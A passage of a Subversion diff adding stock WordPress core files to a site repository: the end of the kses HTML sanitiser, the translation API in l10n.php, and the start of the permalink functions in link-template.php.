+	# Change back the allowed entities in our entity whitelist
+
+	$string = preg_replace('/&amp;([A-Za-z][A-Za-z0-9]{0,19});/', '&\\1;', $string);
+	$string = preg_replace_callback('/&amp;#0*([0-9]{1,5});/', 'wp_kses_normalize_entities2', $string);
+	$string = preg_replace_callback('/&amp;#([Xx])0*(([0-9A-Fa-f]{2}){1,2});/', 'wp_kses_normalize_entities3', $string);
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() regular expression.
+ *
+ * This function helps wp_kses_normalize_entities() to only accept 16 bit values
+ * and nothing more for &#number; entities.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities2($matches) {
+	if ( ! isset($matches[1]) || empty($matches[1]) )
+		return '';
+
+	$i = $matches[1];
+	return ( ( ! valid_unicode($i) ) || ($i > 65535) ? "&amp;#$i;" : "&#$i;" );
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() for regular expression.
+ *
+ * This function helps wp_kses_normalize_entities() to only accept valid Unicode
+ * numeric entities in hex form.
+ *
+ * @access private
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities3($matches) {
+	if ( ! isset($matches[2]) || empty($matches[2]) )
+		return '';
+
+	$hexchars = $matches[2];
+	return ( ( ! valid_unicode(hexdec($hexchars)) ) ? "&amp;#x$hexchars;" : "&#x$hexchars;" );
+}
+
+/**
+ * Helper function to determine if a Unicode value is valid.
+ *
+ * @param int $i Unicode value
+ * @return bool true if the value was a valid Unicode number
+ */
+function valid_unicode($i) {
+	return ( $i == 0x9 || $i == 0xa || $i == 0xd ||
+			($i >= 0x20 && $i <= 0xd7ff) ||
+			($i >= 0xe000 && $i <= 0xfffd) ||
+			($i >= 0x10000 && $i <= 0x10ffff) );
+}
+
+/**
+ * Convert all entities to their character counterparts.
+ *
+ * This function decodes numeric HTML entities (&#65; and &#x41;). It doesn't do
+ * anything with other entities like &auml;, but we don't need them in the URL
+ * protocol whitelisting system anyway.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to change entities
+ * @return string Content after decoded entities
+ */
+function wp_kses_decode_entities($string) {
+	$string = preg_replace_callback('/&#([0-9]+);/', create_function('$match', 'return chr($match[1]);'), $string);
+	$string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', create_function('$match', 'return chr(hexdec($match[1]));'), $string);
+
+	return $string;
+}
+
+/**
+ * Sanitize content with allowed HTML Kses rules.
+ *
+ * @since 1.0.0
+ * @uses $allowedtags
+ *
+ * @param string $data Content to filter
+ * @return string Filtered content
+ */
+function wp_filter_kses($data) {
+	global $allowedtags;
+	return addslashes( wp_kses(stripslashes( $data ), $allowedtags) );
+}
+
+/**
+ * Sanitize content for allowed HTML tags for post content.
+ *
+ * Post content refers to the page contents of the 'post' type and not $_POST
+ * data from forms.
+ *
+ * @since 2.0.0
+ * @uses $allowedposttags
+ *
+ * @param string $data Post content to filter
+ * @return string Filtered post content with allowed HTML tags and attributes intact.
+ */
+function wp_filter_post_kses($data) {
+	global $allowedposttags;
+	return addslashes ( wp_kses(stripslashes( $data ), $allowedposttags) );
+}
+
+/**
+ * Strips all of the HTML in the content.
+ *
+ * @since 2.1.0
+ *
+ * @param string $data Content to strip all HTML from
+ * @return string Filtered content without any HTML
+ */
+function wp_filter_nohtml_kses($data) {
+	return addslashes ( wp_kses(stripslashes( $data ), array()) );
+}
+
+/**
+ * Adds all Kses input form content filters.
+ *
+ * All hooks have default priority. The wp_filter_kses() function is added to
+ * the 'pre_comment_content' and 'title_save_pre' hooks.
+ *
+ * The wp_filter_post_kses() function is added to the 'content_save_pre',
+ * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
+ *
+ * @since 2.0.0
+ * @uses add_filter() See description for what functions are added to what hooks.
+ */
+function kses_init_filters() {
+	// Normal filtering.
+	add_filter('pre_comment_content', 'wp_filter_kses');
+	add_filter('title_save_pre', 'wp_filter_kses');
+
+	// Post filtering
+	add_filter('content_save_pre', 'wp_filter_post_kses');
+	add_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Removes all Kses input form content filters.
+ *
+ * A quick procedural method to removing all of the filters that kses uses for
+ * content in WordPress Loop.
+ *
+ * Does not remove the kses_init() function from 'init' hook (priority is
+ * default). Also does not remove kses_init() function from 'set_current_user'
+ * hook (priority is also default).
+ *
+ * @since 2.0.6
+ */
+function kses_remove_filters() {
+	// Normal filtering.
+	remove_filter('pre_comment_content', 'wp_filter_kses');
+	remove_filter('title_save_pre', 'wp_filter_kses');
+
+	// Post filtering
+	remove_filter('content_save_pre', 'wp_filter_post_kses');
+	remove_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Sets up most of the Kses filters for input form content.
+ *
+ * If you remove the kses_init() function from 'init' hook and
+ * 'set_current_user' (priority is default), then none of the Kses filter hooks
+ * will be added.
+ *
+ * First removes all of the Kses filters in case the current user does not need
+ * to have Kses filter the content. If the user does not have unfiltered html
+ * capability, then Kses filters are added.
+ *
+ * @uses kses_remove_filters() Removes the Kses filters
+ * @uses kses_init_filters() Adds the Kses filters back if the user
+ *		does not have unfiltered HTML capability.
+ * @since 2.0.0
+ */
+function kses_init() {
+	kses_remove_filters();
+
+	if (current_user_can('unfiltered_html') == false)
+		kses_init_filters();
+}
+
+add_action('init', 'kses_init');
+add_action('set_current_user', 'kses_init');
+
+function safecss_filter_attr( $css, $deprecated = '' ) {
+	$css = wp_kses_no_null($css);
+	$css = str_replace(array("\n","\r","\t"), '', $css);
+
+	if ( preg_match( '%[\\(&]|/\*%', $css ) ) // remove any inline css containing \ ( & or comments
+		return '';
+
+	$css_array = split( ';', trim( $css ) );
+	$allowed_attr = apply_filters( 'safe_style_css', array( 'text-align', 'margin', 'color', 'float', 
+	'border', 'background', 'background-color', 'border-bottom', 'border-bottom-color', 
+	'border-bottom-style', 'border-bottom-width', 'border-collapse', 'border-color', 'border-left',
+	'border-left-color', 'border-left-style', 'border-left-width', 'border-right', 'border-right-color', 
+	'border-right-style', 'border-right-width', 'border-spacing', 'border-style', 'border-top', 
+	'border-top-color', 'border-top-style', 'border-top-width', 'border-width', 'caption-side', 
+	'clear', 'cursor', 'direction', 'font', 'font-family', 'font-size', 'font-style', 
+	'font-variant', 'font-weight', 'height', 'letter-spacing', 'line-height', 'margin-bottom', 
+	'margin-left', 'margin-right', 'margin-top', 'overflow', 'padding', 'padding-bottom', 
+	'padding-left', 'padding-right', 'padding-top', 'text-decoration', 'text-indent', 'vertical-align', 
+	'width' ) );
+
+	if ( empty($allowed_attr) )
+		return $css;
+
+	$css = '';
+	foreach ( $css_array as $css_item ) {
+		if ( $css_item == '' )
+			continue;
+		$css_item = trim( $css_item );
+		$found = false;
+		if ( strpos( $css_item, ':' ) === false ) {
+			$found = true;
+		} else {
+			$parts = split( ':', $css_item );
+			if ( in_array( trim( $parts[0] ), $allowed_attr ) )
+				$found = true;
+		}
+		if ( $found ) {
+			if( $css != '' )
+				$css .= ';';
+			$css .= $css_item;
+		}
+	}
+
+	return $css;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/l10n.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/l10n.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/l10n.php	(revision 44)
@@ -0,0 +1,427 @@
+<?php
+/**
+ * WordPress Translation API
+ *
+ * @package WordPress
+ * @subpackage i18n
+ */
+
+/**
+ * Gets the current locale.
+ *
+ * If the locale is set, then it will filter the locale in the 'locale' filter
+ * hook and return the value.
+ *
+ * If the locale is not set already, then the WPLANG constant is used if it is
+ * defined. Then it is filtered through the 'locale' filter hook and the value
+ * for the locale global set and the locale is returned.
+ *
+ * The process to get the locale should only be done once but the locale will
+ * always be filtered using the 'locale' hook.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'locale' hook on locale value.
+ * @uses $locale Gets the locale stored in the global.
+ *
+ * @return string The locale of the blog or from the 'locale' hook.
+ */
+function get_locale() {
+	global $locale;
+
+	if (isset($locale))
+		return apply_filters( 'locale', $locale );
+
+	// WPLANG is defined in wp-config.
+	if (defined('WPLANG'))
+		$locale = WPLANG;
+
+	if (empty($locale))
+		$locale = 'en_US';
+
+	return apply_filters('locale', $locale);
+}
+
+/**
+ * Retrieves the translation of $text. If there is no translation, or
+ * the domain isn't loaded the original text is returned.
+ *
+ * @see __() Don't use translate() directly, use __()
+ * @since 2.2.0
+ * @uses apply_filters() Calls 'gettext' on domain translated text
+ *		with the untranslated text as second parameter.
+ *
+ * @param string $text Text to translate.
+ * @param string $domain Domain to retrieve the translated text.
+ * @return string Translated text
+ */
+function translate( $text, $domain = 'default' ) {
+	$translations = &get_translations_for_domain( $domain );
+	return apply_filters('gettext', $translations->translate($text), $text, $domain);
+}
+
+function before_last_bar( $string ) {
+	$last_bar = strrpos( $string, '|' );
+	if ( false == $last_bar )
+		return $string;
+	else
+		return substr( $string, 0, $last_bar );
+}
+
+/**
+ * Translates $text like translate(), but assumes that the text
+ * contains a context after its last vertical bar.
+ *
+ * @since 2.5
+ * @uses translate()
+ *
+ * @param string $text Text to translate
+ * @param string $domain Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function translate_with_context( $text, $domain = 'default' ) {
+	return before_last_bar( translate( $text, $domain ) );
+
+}
+
+function translate_with_gettext_context( $text, $context, $domain = 'default' ) {
+	$translations = &get_translations_for_domain( $domain );
+	return apply_filters( 'gettext_with_context', $translations->translate( $text, $context ), $text, $context, $domain);
+}
+
+/**
+ * Retrieves the translation of $text. If there is no translation, or
+ * the domain isn't loaded the original text is returned.
+ *
+ * @see translate() An alias of translate()
+ * @since 2.1.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function __( $text, $domain = 'default' ) {
+	return translate( $text, $domain );
+}
+
+/**
+ * Retrieves the translation of $text and escapes it for safe use in an attribute.
+ * If there is no translation, or the domain isn't loaded the original text is returned.
+ *
+ * @see translate() An alias of translate()
+ * @see esc_attr()
+ * @since 2.8.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function esc_attr__( $text, $domain = 'default' ) {
+	return esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieves the translation of $text and escapes it for safe use in HTML output.
+ * If there is no translation, or the domain isn't loaded the original text is returned.
+ *
+ * @see translate() An alias of translate()
+ * @see esc_html()
+ * @since 2.8.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function esc_html__( $text, $domain = 'default' ) {
+	return esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Displays the returned translated text from translate().
+ *
+ * @see translate() Echoes returned translate() string
+ * @since 1.2.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ */
+function _e( $text, $domain = 'default' ) {
+	echo translate( $text, $domain );
+}
+
+/**
+ * Displays translated text that has been escaped for safe use in an attribute.
+ *
+ * @see translate() Echoes returned translate() string
+ * @see esc_attr()
+ * @since 2.8.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ */
+function esc_attr_e( $text, $domain = 'default' ) {
+	echo esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Displays translated text that has been escaped for safe use in HTML output.
+ *
+ * @see translate() Echoes returned translate() string
+ * @see esc_html()
+ * @since 2.8.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ */
+function esc_html_e( $text, $domain = 'default' ) {
+	echo esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieve translated string with vertical bar context
+ *
+ * Quite a few times, there will be collisions with similar translatable text
+ * found in more than two places but with different translated context.
+ *
+ * In order to use the separate contexts, the _c() function is used and the
+ * translatable string uses a pipe ('|') which has the context the string is in.
+ *
+ * When the translated string is returned, it is everything before the pipe, not
+ * including the pipe character. If there is no pipe in the translated text then
+ * everything is returned.
+ *
+ * @since 2.2.0
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated context string without pipe
+ */
+function _c($text, $domain = 'default') {
+	return translate_with_context($text, $domain);
+}
+
+function _x( $single, $context, $domain = 'default' ) {
+	return translate_with_gettext_context( $single, $context, $domain );
+}
+
+function esc_attr_x( $single, $context, $domain = 'default' ) {
+	return esc_attr( translate_with_gettext_context( $single, $context, $domain ) );
+}
+
+function __ngettext() {
+	_deprecated_function( __FUNCTION__, '2.8', '_n()' );
+	$args = func_get_args();
+	return call_user_func_array('_n', $args);
+}
+
+/**
+ * Retrieve the plural or single form based on the amount.
+ *
+ * If the domain is not set in the $l10n list, then a comparison will be made
+ * and either $plural or $single parameters returned.
+ *
+ * If the domain does exist, then the parameters $single, $plural, and $number
+ * will first be passed to the domain's ngettext method. Then it will be passed
+ * to the 'ngettext' filter hook along with the same parameters. The expected
+ * type will be a string.
+ *
+ * @since 1.2.0
+ * @uses $l10n Gets list of domain translated string (gettext_reader) objects
+ * @uses apply_filters() Calls 'ngettext' hook on domains text returned,
+ *		along with $single, $plural, and $number parameters. Expected to return string.
+ *
+ * @param string $single The text that will be used if $number is 1
+ * @param string $plural The text that will be used if $number is not 1
+ * @param int $number The number to compare against to use either $single or $plural
+ * @param string $domain Optional. The domain identifier the text should be retrieved in
+ * @return string Either $single or $plural translated text
+ */
+function _n($single, $plural, $number, $domain = 'default') {
+	$translations = &get_translations_for_domain( $domain );
+	$translation = $translations->translate_plural( $single, $plural, $number );
+	return apply_filters( 'ngettext', $translation, $single, $plural, $number, $domain );
+}
+
+/**
+ * @see _n() A version of _n(), which supports contexts --
+ * strips everything from the translation after the last bar
+ *
+ */
+function _nc( $single, $plural, $number, $domain = 'default' ) {
+	return before_last_bar( _n( $single, $plural, $number, $domain ) );
+}
+
+function _nx($single, $plural, $number, $context, $domain = 'default') {
+	$translations = &get_translations_for_domain( $domain );
+	$translation = $translations->translate_plural( $single, $plural, $number, $context );
+	return apply_filters( 'ngettext_with_context ', $translation, $single, $plural, $number, $context, $domain );
+}
+
+/**
+ * @deprecated Use _n_noop()
+ */
+function __ngettext_noop() {
+	_deprecated_function( __FUNCTION__, '2.8', '_n_noop()' );
+	$args = func_get_args();
+	return call_user_func_array('_n_noop', $args);
+
+}
+
+/**
+ * Register plural strings in POT file, but don't translate them.
+ *
+ * Used when you want do keep structures with translatable plural strings and
+ * use them later.
+ *
+ * Example:
+ *  $messages = array(
+ *  	'post' => _n_noop('%s post', '%s posts'),
+ *  	'page' => _n_noop('%s pages', '%s pages')
+ *  );
+ *  ...
+ *  $message = $messages[$type];
+ *  $usable_text = sprintf(_n($message[0], $message[1], $count), $count);
+ *
+ * @since 2.5
+ * @param $single Single form to be i18ned
+ * @param $plural Plural form to be i18ned
+ * @return array array($single, $plural)
+ */
+function _n_noop( $single, $plural ) {
+	return array( $single, $plural );
+}
+
+/**
+ * Register plural strings with context in POT file, but don't translate them.
+ *
+ * @see _n_noop()
+ */
+function _nx_noop( $single, $plural, $context ) {
+	return array( $single, $plural, $context );
+}
+
+
+/**
+ * Loads a MO file into the domain $domain.
+ *
+ * If the domain already exists, the translations will be merged. If both
+ * sets have the same string, the translation from the original value will be taken.
+ *
+ * On success, the .mo file will be placed in the $l10n global by $domain
+ * and will be a MO object.
+ *
+ * @since 1.5.0
+ * @uses $l10n Gets list of domain translated string objects
+ *
+ * @param string $domain Unique identifier for retrieving translated strings
+ * @param string $mofile Path to the .mo file
+ * @return bool true on success, false on failure
+ */
+function load_textdomain($domain, $mofile) {
+	global $l10n;
+
+	if ( !is_readable( $mofile ) ) return false;
+
+	$mo = new MO();
+	if ( !$mo->import_from_file( $mofile ) ) return false;
+
+	if ( isset( $l10n[$domain] ) )
+		$mo->merge_with( $l10n[$domain] );
+
+	$l10n[$domain] = &$mo;
+	return true;
+}
+
+/**
+ * Loads default translated strings based on locale.
+ *
+ * Loads the .mo file in WP_LANG_DIR constant path from WordPress root. The
+ * translated (.mo) file is named based off of the locale.
+ *
+ * @since 1.5.0
+ */
+function load_default_textdomain() {
+	$locale = get_locale();
+
+	$mofile = WP_LANG_DIR . "/$locale.mo";
+
+	return load_textdomain('default', $mofile);
+}
+
+/**
+ * Loads the plugin's translated strings.
+ *
+ * If the path is not given then it will be the root of the plugin directory.
+ * The .mo file should be named based on the domain with a dash, and then the locale exactly.
+ *
+ * @since 1.5.0
+ *
+ * @param string $domain Unique identifier for retrieving translated strings
+ * @param string $abs_rel_path Optional. Relative path to ABSPATH of a folder,
+ * 	where the .mo file resides. Deprecated, but still functional until 2.7
+ * @param string $plugin_rel_path Optional. Relative path to WP_PLUGIN_DIR. This is the preferred argument to use. It takes precendence over $abs_rel_path
+ */
+function load_plugin_textdomain($domain, $abs_rel_path = false, $plugin_rel_path = false) {
+	$locale = get_locale();
+
+	if ( false !== $plugin_rel_path	)
+		$path = WP_PLUGIN_DIR . '/' . trim( $plugin_rel_path, '/');
+	else if ( false !== $abs_rel_path)
+		$path = ABSPATH . trim( $abs_rel_path, '/');
+	else
+		$path = WP_PLUGIN_DIR;
+
+	$mofile = $path . '/'. $domain . '-' . $locale . '.mo';
+	return load_textdomain($domain, $mofile);
+}
+
+/**
+ * Loads the theme's translated strings.
+ *
+ * If the current locale exists as a .mo file in the theme's root directory, it
+ * will be included in the translated strings by the $domain.
+ *
+ * The .mo files must be named based on the locale exactly.
+ *
+ * @since 1.5.0
+ *
+ * @param string $domain Unique identifier for retrieving translated strings
+ */
+function load_theme_textdomain($domain, $path = false) {
+	$locale = get_locale();
+
+	$path = ( empty( $path ) ) ? get_template_directory() : $path;
+
+	$mofile = "$path/$locale.mo";
+	return load_textdomain($domain, $mofile);
+}
+
+/**
+ * Returns the Translations instance for a domain. If there isn't one,
+ * returns empty Translations instance.
+ *
+ * @param string $domain
+ * @return object A Translation instance
+ */
+function &get_translations_for_domain( $domain ) {
+	global $l10n;
+	$empty = &new Translations;
+	if ( isset($l10n[$domain]) )
+		return $l10n[$domain];
+	else
+		return $empty;
+}
+
+/**
+ * Translates role name. Since the role names are in the database and
+ * not in the source there are dummy gettext calls to get them into the POT
+ * file and this function properly translates them back.
+ *
+ * The before_last_bar() call is needed, because older installs keep the roles
+ * using the old context format: 'Role name|User role' and just skipping the
+ * content after the last bar is easier than fixing them in the DB. New installs
+ * won't suffer from that problem.
+ */
+function translate_user_role( $name ) {
+	return translate_with_gettext_context( before_last_bar($name), 'User role' );
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/link-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/link-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/link-template.php	(revision 44)
@@ -0,0 +1,1810 @@
+<?php
+/**
+ * WordPress Link Template Functions
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Display the permalink for the current post.
+ *
+ * @since 1.2.0
+ * @uses apply_filters() Calls 'the_permalink' filter on the permalink string.
+ */
+function the_permalink() {
+	echo apply_filters('the_permalink', get_permalink());
+}
+
+/**
+ * Retrieve trailing slash string, if blog set for adding trailing slashes.
+ *
+ * Conditionally adds a trailing slash if the permalink structure has a trailing
+ * slash, strips the trailing slash if not. The string is passed through the
+ * 'user_trailingslashit' filter. Will remove trailing slash from string, if
+ * blog is not set to have them.
+ *
+ * @since 2.2.0
+ * @uses $wp_rewrite
+ *
+ * @param $string String a URL with or without a trailing slash.
+ * @param $type_of_url String the type of URL being considered (e.g. single, category, etc) for use in the filter.
+ * @return string
+ */
+function user_trailingslashit($string, $type_of_url = '') {
+	global $wp_rewrite;
+	if ( $wp_rewrite->use_trailing_slashes )
+		$string = trailingslashit($string);
+	else
+		$string = untrailingslashit($string);
+
+	// Note that $type_of_url can be one of following:
+	// single, single_trackback, single_feed, single_paged, feed, category, page, year, month, day, paged
+	$string = apply_filters('user_trailingslashit', $string, $type_of_url);
+	return $string;
+}
+
+/**
+ * Display permalink anchor for current post.
+ *
+ * The permalink mode title will use the post title for the 'a' element 'id'
+ * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
+ *
+ * @since 0.71
+ *
+ * @param string $mode Permalink mode can be either 'title', 'id', or default, which is 'id'.
+ */
+function permalink_anchor($mode = 'id') {
+	global $post;
+	switch ( strtolower($mode) ) {
+		case 'title':
+			$title = sanitize_title($post->post_title) . '-' . $post->ID;
+			echo '<a id="'.$title.'"></a>';
+			break;
+		case 'id':
+		default:
+			echo '<a id="post-' . $post->ID . '"></a>';
+			break;
+	}
+}
+
+/**
+ * Retrieve full permalink for current post or post ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $leavename Optional, defaults to false. Whether to keep post name or page name.
+ * @return string
+ */
+function get_permalink($id = 0, $leavename = false) {
+	$rewritecode = array(
+		'%year%',
+		'%monthnum%',
+		'%day%',
+		'%hour%',
+		'%minute%',
+		'%second%',
+		$leavename? '' : '%postname%',
+		'%post_id%',
+		'%category%',
+		'%author%',
+		$leavename? '' : '%pagename%',
+	);
+
+	if ( is_object($id) && isset($id->filter) && 'sample' == $id->filter ) {
+		$post = $id;
+		$sample = true;
+	} else {
+		$post = &get_post($id);
+		$sample = false;
+	}
+
+	if ( empty($post->ID) ) return false;
+
+	if ( $post->post_type == 'page' )
+		return get_page_link($post->ID, $leavename, $sample);
+	elseif ($post->post_type == 'attachment')
+		return get_attachment_link($post->ID);
+
+	$permalink = get_option('permalink_structure');
+
+	if ( '' != $permalink && !in_array($post->post_status, array('draft', 'pending')) ) {
+		$unixtime = strtotime($post->post_date);
+
+		$category = '';
+		if ( strpos($permalink, '%category%') !== false ) {
+			$cats = get_the_category($post->ID);
+			if ( $cats ) {
+				usort($cats, '_usort_terms_by_ID'); // order by ID
+				$category = $cats[0]->slug;
+				if ( $parent = $cats[0]->parent )
+					$category = get_category_parents($parent, false, '/', true) . $category;
+			}
+			// show default category in permalinks, without
+			// having to assign it explicitly
+			if ( empty($category) ) {
+				$default_category = get_category( get_option( 'default_category' ) );
+				$category = is_wp_error( $default_category ) ? '' : $default_category->slug;
+			}
+		}
+
+		$author = '';
+		if ( strpos($permalink, '%author%') !== false ) {
+			$authordata = get_userdata($post->post_author);
+			$author = $authordata->user_nicename;
+		}
+
+		$date = explode(" ",date('Y m d H i s', $unixtime));
+		$rewritereplace =
+		array(
+			$date[0],
+			$date[1],
+			$date[2],
+			$date[3],
+			$date[4],
+			$date[5],
+			$post->post_name,
+			$post->ID,
+			$category,
+			$author,
+			$post->post_name,
+		);
+		$permalink = get_option('home') . str_replace($rewritecode, $rewritereplace, $permalink);
+		$permalink = user_trailingslashit($permalink, 'single');
+		return apply_filters('post_link', $permalink, $post, $leavename);
+	} else { // if they're not using the fancy permalink option
+		$permalink = trailingslashit(get_option('home')) . '?p=' . $post->ID;
+		return apply_filters('post_link', $permalink, $post, $leavename);
+	}
+}
+
+/**
+ * Retrieve permalink from post ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param mixed $deprecated Not used.
+ * @return string
+ */
+function post_permalink($post_id = 0, $deprecated = '') {
+	return get_permalink($post_id);
+}
+
+/**
+ * Retrieve the permalink for current page or page ID.
+ *
+ * Respects page_on_front. Use this one.
+ *
+ * @since 1.5.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $leavename Optional, defaults to false. Whether to keep page name.
+ * @param bool $sample Optional, defaults to false. Is it a sample permalink.
+ * @return string
+ */
+function get_page_link( $id = false, $leavename = false, $sample = false ) {
+	global $post;
+
+	$id = (int) $id;
+	if ( !$id )
+		$id = (int) $post->ID;
+
+	if ( 'page' == get_option('show_on_front') && $id == get_option('page_on_front') )
+		$link = get_option('home');
+	else
+		$link = _get_page_link( $id , $leavename, $sample );
+
+	return apply_filters('page_link', $link, $id);
+}
+
+/**
+ * Retrieve the page permalink.
+ *
+ * Ignores page_on_front. Internal use only.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $leavename Optional. Leave name.
+ * @param bool $sample Optional. Sample permalink.
+ * @return string
+ */
+function _get_page_link( $id = false, $leavename = false, $sample = false ) {
+	global $post, $wp_rewrite;
+
+	if ( !$id )
+		$id = (int) $post->ID;
+	else
+		$post = &get_post($id);
+
+	$pagestruct = $wp_rewrite->get_page_permastruct();
+
+	if ( '' != $pagestruct && ( ( isset($post->post_status) && 'draft' != $post->post_status ) || $sample ) ) {
+		$link = get_page_uri($id);
+		$link = ( $leavename ) ? $pagestruct : str_replace('%pagename%', $link, $pagestruct);
+		$link = trailingslashit(get_option('home')) . "$link";
+		$link = user_trailingslashit($link, 'page');
+	} else {
+		$link = trailingslashit(get_option('home')) . "?page_id=$id";
+	}
+
+	return apply_filters( '_get_page_link', $link, $id );
+}
+
+/**
+ * Retrieve permalink for attachment.
+ *
+ * This can be used in the WordPress Loop or outside of it.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id Optional. Post ID.
+ * @return string
+ */
+function get_attachment_link($id = false) {
+	global $post, $wp_rewrite;
+
+	$link = false;
+
+	if (! $id) {
+		$id = (int) $post->ID;
+	}
+
+	$object = get_post($id);
+	if ( $wp_rewrite->using_permalinks() && ($object->post_parent > 0) && ($object->post_parent != $id) ) {
+		$parent = get_post($object->post_parent);
+		if ( 'page' == $parent->post_type )
+			$parentlink = _get_page_link( $object->post_parent ); // Ignores page_on_front
+		else
+			$parentlink = get_permalink( $object->post_parent );
+		if ( is_numeric($object->post_name) || false !== strpos(get_option('permalink_structure'), '%category%') )
+			$name = 'attachment/' . $object->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker
+		else
+			$name = $object->post_name;
+		if (strpos($parentlink, '?') === false)
+			$link = user_trailingslashit( trailingslashit($parentlink) . $name );
+	}
+
+	if (! $link ) {
+		$link = trailingslashit(get_bloginfo('url')) . "?attachment_id=$id";
+	}
+
+	return apply_filters('attachment_link', $link, $id);
+}
+
+/**
+ * Retrieve the permalink for the year archives.
+ *
+ * @since 1.5.0
+ *
+ * @param int|bool $year False for current year or year for permalink.
+ * @return string
+ */
+function get_year_link($year) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', time()+(get_option('gmt_offset') * 3600));
+	$yearlink = $wp_rewrite->get_year_permastruct();
+	if ( !empty($yearlink) ) {
+		$yearlink = str_replace('%year%', $year, $yearlink);
+		return apply_filters('year_link', get_option('home') . user_trailingslashit($yearlink, 'year'), $year);
+	} else {
+		return apply_filters('year_link', trailingslashit(get_option('home')) . '?m=' . $year, $year);
+	}
+}
+
+/**
+ * Retrieve the permalink for the month archives with year.
+ *
+ * @since 1.0.0
+ *
+ * @param bool|int $year False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @return string
+ */
+function get_month_link($year, $month) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', time()+(get_option('gmt_offset') * 3600));
+	if ( !$month )
+		$month = gmdate('m', time()+(get_option('gmt_offset') * 3600));
+	$monthlink = $wp_rewrite->get_month_permastruct();
+	if ( !empty($monthlink) ) {
+		$monthlink = str_replace('%year%', $year, $monthlink);
+		$monthlink = str_replace('%monthnum%', zeroise(intval($month), 2), $monthlink);
+		return apply_filters('month_link', get_option('home') . user_trailingslashit($monthlink, 'month'), $year, $month);
+	} else {
+		return apply_filters('month_link', trailingslashit(get_option('home')) . '?m=' . $year . zeroise($month, 2), $year, $month);
+	}
+}
+
+/**
+ * Retrieve the permalink for the day archives with year and month.
+ *
+ * @since 1.0.0
+ *
+ * @param bool|int $year False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @param bool|int $day False for current day. Integer of day.
+ * @return string
+ */
+function get_day_link($year, $month, $day) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', time()+(get_option('gmt_offset') * 3600));
+	if ( !$month )
+		$month = gmdate('m', time()+(get_option('gmt_offset') * 3600));
+	if ( !$day )
+		$day = gmdate('j', time()+(get_option('gmt_offset') * 3600));
+
+	$daylink = $wp_rewrite->get_day_permastruct();
+	if ( !empty($daylink) ) {
+		$daylink = str_replace('%year%', $year, $daylink);
+		$daylink = str_replace('%monthnum%', zeroise(intval($month), 2), $daylink);
+		$daylink = str_replace('%day%', zeroise(intval($day), 2), $daylink);
+		return apply_filters('day_link', get_option('home') . user_trailingslashit($daylink, 'day'), $year, $month, $day);
+	} else {
+		return apply_filters('day_link', trailingslashit(get_option('home')) . '?m=' . $year . zeroise($month, 2) . zeroise($day, 2), $year, $month, $day);
+	}
+}
+
+/**
+ * Retrieve the permalink for the feed type.
+ *
+ * @since 1.5.0
+ *
+ * @param string $feed Optional, defaults to default feed. Feed type.
+ * @return string
+ */
+function get_feed_link($feed = '') {
+	global $wp_rewrite;
+
+	$permalink = $wp_rewrite->get_feed_permastruct();
+	if ( '' != $permalink ) {
+		if ( false !== strpos($feed, 'comments_') ) {
+			$feed = str_replace('comments_', '', $feed);
+			$permalink = $wp_rewrite->get_comment_feed_permastruct();
+		}
+
+		if ( get_default_feed() == $feed )
+			$feed = '';
+
+		$permalink = str_replace('%feed%', $feed, $permalink);
+		$permalink = preg_replace('#/+#', '/', "/$permalink");
+		$output =  get_option('home') . user_trailingslashit($permalink, 'feed');
+	} else {
+		if ( empty($feed) )
